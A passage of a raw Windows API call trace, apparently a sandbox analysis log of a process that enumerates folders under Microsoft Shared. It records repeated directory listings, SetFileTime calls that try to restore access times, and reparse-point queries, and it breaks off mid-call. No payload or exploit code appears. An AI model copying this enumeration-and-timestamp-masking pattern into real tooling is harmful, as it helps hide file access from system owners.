ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0045.411] GetLastError () returned 0x12 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.411] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec048) returned 1 [0045.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0045.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.458] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0045.458] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9dde90 [0045.459] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9dde90, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9dde90, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0045.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9dde90) returned 1 [0045.459] NtClose (Handle=0x160) returned 0x0 [0045.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebf38 [0045.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec048 [0045.459] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0045.488] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.488] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0045.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec048) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9ddea8 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dd030 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0045.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0045.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0045.490] GetLastError () returned 0x12 [0045.490] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0045.490] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0045.490] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0045.491] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0045.491] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0045.491] GetLastError () returned 0x12 [0045.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec0d0) returned 1 [0045.491] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0045.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0045.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebf38) returned 1 [0045.491] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0045.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0045.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0045.492] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0045.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9de918 [0045.492] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9de918, 